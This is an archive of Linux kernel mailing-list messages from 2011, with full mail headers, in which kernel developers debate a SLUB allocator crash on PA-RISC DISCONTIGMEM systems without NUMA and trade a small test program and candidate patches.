> > assumptions.  All of the node stuff is dependent on CONFIG_NUMA.
> > However, we're CONFIG_DISCONTIGMEM (with CONFIG_NUMA not set): on the
> > machines I and Dave Anglin have, our physical memory ranges are 0-1GB
> > and 64-65GB, so I think slub crashes when we get a page from the high
> > memory range ... because it's not expecting a non-zero node number.
> 
> Right !NUMA systems only have node 0.

That's rubbish.  Discontigmem uses the nodes field to identify the
discontiguous region.  page_to_nid() returns this value.  Your code
wrongly assumes this is zero for non NUMA.

This simple program triggers the problem instantly because it forces
allocation up into the upper discontigmem range:

#include <stdlib.h>

void main(void)
{
  const long size = 1024*1024*1024;
  char *a = malloc(size);
  int i;

  for (i=0; i < size; i += 4096)
    a[i] = '\0';
}

I can fix the panic by hard coding get_nodes() to return the zero node
for the non-numa case ... however, presumably it's more than just this
that's broken in slub?

James

---

diff --git a/mm/slub.c b/mm/slub.c
index 94d2a33..243bd9c 100644
--- a/mm/slub.c
+++ b/mm/slub.c
@@ -235,7 +235,11 @@ int slab_is_available(void)
 
 static inline struct kmem_cache_node *get_node(struct kmem_cache *s, int node)
 {
+#ifdef CONFIG_NUMA
 	return s->node[node];
+#else
+	return s->node[0];
+#endif
 }
 
 /* Verify that a pointer has an address that is valid within a slab page */


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 13:10:57 -0500 (CDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191254300.19358@router.home>
References: <20110415135144.GE8828@tiehlicka.suse.cz>  <alpine.LSU.2.00.1104171952040.22679@sister.anvils>  <20110418100131.GD8925@tiehlicka.suse.cz>  <20110418135637.5baac204.akpm@linux-foundation.org>  <20110419111004.GE21689@tiehlicka.suse.cz> 
 <1303228009.3171.18.camel@mulgrave.site>  <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>  <1303233088.3171.26.camel@mulgrave.site>  <alpine.DEB.2.00.1104191213120.17888@router.home> <1303235306.3171.33.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303236670 12365 80.91.229.12 (19 Apr 2011 18:11:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 18:11:10 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 20:11:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCFOC-0005Ux-4M
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 20:11:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752846Ab1DSSLD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 14:11:03 -0400
Original-Received: from smtp110.prem.mail.ac4.yahoo.com ([76.13.13.93]:41977 "HELO
	smtp110.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752386Ab1DSSLC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 14:11:02 -0400
Original-Received: (qmail 51239 invoked from network); 19 Apr 2011 18:11:00 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp110.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 11:10:59 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: 5DgR6WYVM1nxd2v1acPyXE2GIv8AOzi.qDprt119XZrD4tu
 UDw2.u7RoD62pHszxuEblCY.bhpkpRyUIQiAtM2E2jiyLFeY7TzkhHpB5V7f
 AjwWJB2VidQuKVhOfmmNNdKdoL4cje6nat5PBBy7niGxQxGRXC4frnZ_5jFF
 0A8WAJihCP7jRVOxoLqntA8yVzuomylmU8si87VnL4Yye2Ofd_cmayaxLfKi
 5NsnaLVRIOCGOgRXsz9lF8f3vfnZyS2gCVvcTs.uDhQvFTV4mb8IDs3q7lwU
 qgiQos6c7OqxFjtylJQYzQtPXjRpmrfaR_g3fMT4lli8oAduv
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCFO7-0005He-C5; Tue, 19 Apr 2011 13:10:59 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303235306.3171.33.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3576 gmane.linux.kernel.mm:61602 gmane.linux.kernel:1128540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3576>

On Tue, 19 Apr 2011, James Bottomley wrote:

> > Right !NUMA systems only have node 0.
>
> That's rubbish.  Discontigmem uses the nodes field to identify the
> discontiguous region.  page_to_nid() returns this value.  Your code
> wrongly assumes this is zero for non NUMA.

Sorry the kernel has no node awareness if you do not set CONFIG_NUMA

F.e. zone node lookups work the following way

static inline int
zone_to_nid(struct zone *zone)
{
#ifdef CONFIG_NUMA
        return zone->node;
#else
        return 0;
#endif
}

How in the world did you get a zone setup in node 1 with a !NUMA config?


The problem seems to be that the kernel seems to allow a
definition of a page_to_nid() function that returns non zero in the !NUMA
case. And slub relies on page_to_nid returning zero in the !NUMA case.
Because NODES_WIDTH should be 0 in the !NUMA case and therefore
page_to_nid must return 0.

> I can fix the panic by hard coding get_nodes() to return the zero node
> for the non-numa case ... however, presumably it's more than just this
> that's broken in slub?

If you think that is broken then we have brokenness all over the kernel
whenever we determine the node from a page and use that to do a lookup.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 13:20:17 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <1303237217.3171.39.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
	 <1303228009.3171.18.camel@mulgrave.site>
	 <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
	 <1303233088.3171.26.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191213120.17888@router.home>
	 <1303235306.3171.33.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191254300.19358@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303237229 16208 80.91.229.12 (19 Apr 2011 18:20:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 18:20:29 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 20:20:23 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCFXC-00030s-AZ
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 20:20:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753639Ab1DSSUV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 14:20:21 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49717 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753587Ab1DSSUV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 14:20:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 77F988EE0F5;
	Tue, 19 Apr 2011 11:20:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id uLmTdiT8huiC; Tue, 19 Apr 2011 11:20:20 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7A6A28EE01D;
	Tue, 19 Apr 2011 11:20:19 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104191254300.19358@router.home>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3577 gmane.linux.kernel.mm:61603 gmane.linux.kernel:1128542
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3577>

On Tue, 2011-04-19 at 13:10 -0500, Christoph Lameter wrote:
> On Tue, 19 Apr 2011, James Bottomley wrote:
> 
> > > Right !NUMA systems only have node 0.
> >
> > That's rubbish.  Discontigmem uses the nodes field to identify the
> > discontiguous region.  page_to_nid() returns this value.  Your code
> > wrongly assumes this is zero for non NUMA.
> 
> Sorry the kernel has no node awareness if you do not set CONFIG_NUMA
> 
> F.e. zone node lookups work the following way
> 
> static inline int
> zone_to_nid(struct zone *zone)
> {
> #ifdef CONFIG_NUMA
>         return zone->node;
> #else
>         return 0;
> #endif
> }
> 
> How in the world did you get a zone setup in node 1 with a !NUMA config?

I told you ... I forced an allocation into the first discontiguous
region.  That will return 1 for page_to_nid().

> The problem seems to be that the kernel seems to allow a
> definition of a page_to_nid() function that returns non zero in the !NUMA
> case.

This is called reality, yes.

>  And slub relies on page_to_nid returning zero in the !NUMA case.
> Because NODES_WIDTH should be 0 in the !NUMA case and therefore
> page_to_nid must return 0.

right, that's what I told you: slub is broken because it's making a
wrong assumption.  Look in asm-generic/memory_model.h it shows how the
page_to_nid() is used in finding the pfn array.  DISCONTIGMEM uses some
of the numa properties (including assigning zones to the discontiguous
regions).

> > I can fix the panic by hard coding get_nodes() to return the zero node
> > for the non-numa case ... however, presumably it's more than just this
> > that's broken in slub?
> 
> If you think that is broken then we have brokenness all over the kernel
> whenever we determine the node from a page and use that to do a lookup.

Not really.  The rest of the kernel uses the proper macros.  in
DISCONTIGMEM but !NUMA configs, the numa macros expand correctly.
You've cut across that with all the CONFIG_NUMA checks in slub.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 13:35:06 -0500 (CDT)
Lines: 84
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191325470.19358@router.home>
References: <20110415135144.GE8828@tiehlicka.suse.cz>  <alpine.LSU.2.00.1104171952040.22679@sister.anvils>  <20110418100131.GD8925@tiehlicka.suse.cz>  <20110418135637.5baac204.akpm@linux-foundation.org>  <20110419111004.GE21689@tiehlicka.suse.cz> 
 <1303228009.3171.18.camel@mulgrave.site>  <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>  <1303233088.3171.26.camel@mulgrave.site>  <alpine.DEB.2.00.1104191213120.17888@router.home>  <1303235306.3171.33.camel@mulgrave.site> 
 <alpine.DEB.2.00.1104191254300.19358@router.home> <1303237217.3171.39.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303238122 21565 80.91.229.12 (19 Apr 2011 18:35:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 18:35:22 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 20:35:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCFlY-0003kz-JF
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 20:35:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753933Ab1DSSfL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 14:35:11 -0400
Original-Received: from smtp109.prem.mail.ac4.yahoo.com ([76.13.13.92]:40302 "HELO
	smtp109.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752663Ab1DSSfK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 14:35:10 -0400
Original-Received: (qmail 990 invoked from network); 19 Apr 2011 18:35:09 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp109.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 11:35:09 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: Dcpx3YEVM1keBj99gb7ds8mL27WxlYw5m8sqx5SJa0suAdr
 JHZUbabeMkeyYla6UagcnRMggDy5XtkH5dzRmGqESTfBoDmm6cge1JbRcAwK
 W_pO6VNr98ubQNBqcs9VJXsli.w23uzg_l7ovp9AVYj6YkdqopbsDrMmJGja
 VgRMqoWPFTV0z5t4TAzXuqXWrWtzdVH3Z3pVfyFs3o7HIuJNJBdnIxY7.umd
 .F4Ys5qcSxp5HrbcIDdnCO7TX40lnrEp2iRpAgBXaxwKQEfNlHQDFq0sRSO3
 rL1msys5yRbzF43SFulkCBV_i1Jvv5qiWpuw97f46y3syGR.FrEHLwsEsFCn
 O2zMegZ6mJun1pCSVgB4zam2W
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCFlU-0005P9-DC; Tue, 19 Apr 2011 13:35:08 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303237217.3171.39.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3578 gmane.linux.kernel.mm:61604 gmane.linux.kernel:1128548
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3578>

On Tue, 19 Apr 2011, James Bottomley wrote:

> > }
> >
> > How in the world did you get a zone setup in node 1 with a !NUMA config?
>
> I told you ... I forced an allocation into the first discontiguous
> region.  That will return 1 for page_to_nid().

How? The kernel has no concept of a node 1 without CONFIG_NUMA and so you
cannot tell the page allocator to allocate from node 1.

zone_to_nid is used as a fallback mechanism for page_to_nid() and as shown
will always return 0 for !NUMA configs.

page_to_nid(x) == zone_to_nid(page_zone(x)) must hold true. It is not
here.

> > The problem seems to be that the kernel seems to allow a
> > definition of a page_to_nid() function that returns non zero in the !NUMA
> > case.
>
> This is called reality, yes.

There you have the bug. Fix that and things will work fine.

> right, that's what I told you: slub is broken because it's making a
> wrong assumption.  Look in asm-generic/memory_model.h it shows how the
> page_to_nid() is used in finding the pfn array.  DISCONTIGMEM uses some
> of the numa properties (including assigning zones to the discontiguous
> regions).

Bitrotted code? If it uses numa properties then it must use a zone field
in struct zone. So DISCONTIGMEM seems to require CONFIG_NUMA.

> > If you think that is broken then we have brokenness all over the kernel
> > whenever we determine the node from a page and use that to do a lookup.
>
> Not really.  The rest of the kernel uses the proper macros.  in
> DISCONTIGMEM but !NUMA configs, the numa macros expand correctly.
> You've cut across that with all the CONFIG_NUMA checks in slub.

What are "the proper macros"? AFAICT page_to_nid() is the proper way to
access the node of a page. If page_to_nid() returns 1 then you have a zone
that the kernel knows of as being in node 0 having a page on a different
node.

We can likely force page_to_nid to ignore the node information that have
been erroneously placed there but this looks like something deeper is
wrong here. The node field in struct page is not only used for the Linux
support of a NUMA node but also for blocks of memory. Those should be
separate things.

---
 include/linux/mm.h |    4 ++++
 1 file changed, 4 insertions(+)

Index: linux-2.6/include/linux/mm.h
===================================================================
--- linux-2.6.orig/include/linux/mm.h	2011-04-19 13:20:20.092521248 -0500
+++ linux-2.6/include/linux/mm.h	2011-04-19 13:21:05.962521196 -0500
@@ -665,6 +665,7 @@ static inline int zone_to_nid(struct zon
 #endif
 }

+#ifdef CONFIG_NUMA
 #ifdef NODE_NOT_IN_PAGE_FLAGS
 extern int page_to_nid(struct page *page);
 #else
@@ -673,6 +674,9 @@ static inline int page_to_nid(struct pag
 	return (page->flags >> NODES_PGSHIFT) & NODES_MASK;
 }
 #endif
+#else
+#define page_to_nid(x) 0
+#endif

 static inline struct zone *page_zone(struct page *page)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 14:49:40 -0500
Lines: 111
Approved: news@gmane.org
Message-ID: <1303242580.11237.10.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
	 <1303228009.3171.18.camel@mulgrave.site>
	 <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
	 <1303233088.3171.26.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191213120.17888@router.home>
	 <1303235306.3171.33.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191254300.19358@router.home>
	 <1303237217.3171.39.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191325470.19358@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303242596 16139 80.91.229.12 (19 Apr 2011 19:49:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 19:49:56 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 21:49:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCGvi-0005S9-BN
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 21:49:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753769Ab1DSTtp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 15:49:45 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34740 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753489Ab1DSTto (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 15:49:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B61228EE0F5;
	Tue, 19 Apr 2011 12:49:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id o3bdTE0XGuUv; Tue, 19 Apr 2011 12:49:43 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7120E8EE01D;
	Tue, 19 Apr 2011 12:49:42 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104191325470.19358@router.home>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3579 gmane.linux.kernel.mm:61607 gmane.linux.kernel:1128557
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3579>

On Tue, 2011-04-19 at 13:35 -0500, Christoph Lameter wrote:
> On Tue, 19 Apr 2011, James Bottomley wrote:
> 
> > > }
> > >
> > > How in the world did you get a zone setup in node 1 with a !NUMA config?
> >
> > I told you ... I forced an allocation into the first discontiguous
> > region.  That will return 1 for page_to_nid().
> 
> How? The kernel has no concept of a node 1 without CONFIG_NUMA and so you
> cannot tell the page allocator to allocate from node 1.

Yes, it does, as I explained in the email.

> zone_to_nid is used as a fallback mechanism for page_to_nid() and as shown
> will always return 0 for !NUMA configs.
> 
> page_to_nid(x) == zone_to_nid(page_zone(x)) must hold true. It is not
> here.
> 
> > > The problem seems to be that the kernel seems to allow a
> > > definition of a page_to_nid() function that returns non zero in the !NUMA
> > > case.
> >
> > This is called reality, yes.
> 
> There you have the bug. Fix that and things will work fine.

Why don't yout file the bug against reality? I'm not sure I have enough
credibility ...

> > right, that's what I told you: slub is broken because it's making a
> > wrong assumption.  Look in asm-generic/memory_model.h it shows how the
> > page_to_nid() is used in finding the pfn array.  DISCONTIGMEM uses some
> > of the numa properties (including assigning zones to the discontiguous
> > regions).
> 
> Bitrotted code?

Don't be silly: alpha, ia64, m32r, m68k, mips, parisc, tile and even x86
all use the discontigmem memory model in some configurations.

>  If it uses numa properties then it must use a zone field
> in struct zone. So DISCONTIGMEM seems to require CONFIG_NUMA.

No ... you're giving me back your assumptions.  They're not based on
what the kernel does.  CONFIG_NUMA may or may not be defined with
CONFIG_DISCONTIGMEM.

Of all the above, only x86 always had NUMA with DISCONTIGMEM.

> > > If you think that is broken then we have brokenness all over the kernel
> > > whenever we determine the node from a page and use that to do a lookup.
> >
> > Not really.  The rest of the kernel uses the proper macros.  in
> > DISCONTIGMEM but !NUMA configs, the numa macros expand correctly.
> > You've cut across that with all the CONFIG_NUMA checks in slub.
> 
> What are "the proper macros"? AFAICT page_to_nid() is the proper way to
> access the node of a page. If page_to_nid() returns 1 then you have a zone
> that the kernel knows of as being in node 0 having a page on a different
> node.

Well it depends what you want.  If you only want the actual NUMA node,
then pfn_to_nid() probably isn't what you want, because in a
DISCONTIGMEM model, there may be multiple nids per actual numa node.

> We can likely force page_to_nid to ignore the node information that have
> been erroneously placed there but this looks like something deeper is
> wrong here. The node field in struct page is not only used for the Linux
> support of a NUMA node but also for blocks of memory. Those should be
> separate things.

Look, it's not wrong, it's by design.  The assumption that non-numa
systems don't use nodes is the wrong one.

> ---
>  include/linux/mm.h |    4 ++++
>  1 file changed, 4 insertions(+)
> 
> Index: linux-2.6/include/linux/mm.h
> ===================================================================
> --- linux-2.6.orig/include/linux/mm.h	2011-04-19 13:20:20.092521248 -0500
> +++ linux-2.6/include/linux/mm.h	2011-04-19 13:21:05.962521196 -0500
> @@ -665,6 +665,7 @@ static inline int zone_to_nid(struct zon
>  #endif
>  }
> 
> +#ifdef CONFIG_NUMA
>  #ifdef NODE_NOT_IN_PAGE_FLAGS
>  extern int page_to_nid(struct page *page);
>  #else
> @@ -673,6 +674,9 @@ static inline int page_to_nid(struct pag
>  	return (page->flags >> NODES_PGSHIFT) & NODES_MASK;
>  }
>  #endif
> +#else
> +#define page_to_nid(x) 0
> +#endif

Don't be silly ... that breaks asm-generic/memory_model.h

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Shtylyov <sshtylyov@mvista.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 2/2] pata_cmd64x: fix crash on boot with disabled secondary
 port
Date: Wed, 20 Apr 2011 00:48:11 +0400
Lines: 68
Approved: news@gmane.org
Message-ID: <4DADF50B.2040101@ru.mvista.com>
References: <1303152147.7167.12.camel@mulgrave.site> <1303152323.7167.16.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303246196 5577 80.91.229.12 (19 Apr 2011 20:49:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 20:49:56 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 22:49:52 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCHrr-0007f8-Um
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 22:49:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753939Ab1DSUtu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 16:49:50 -0400
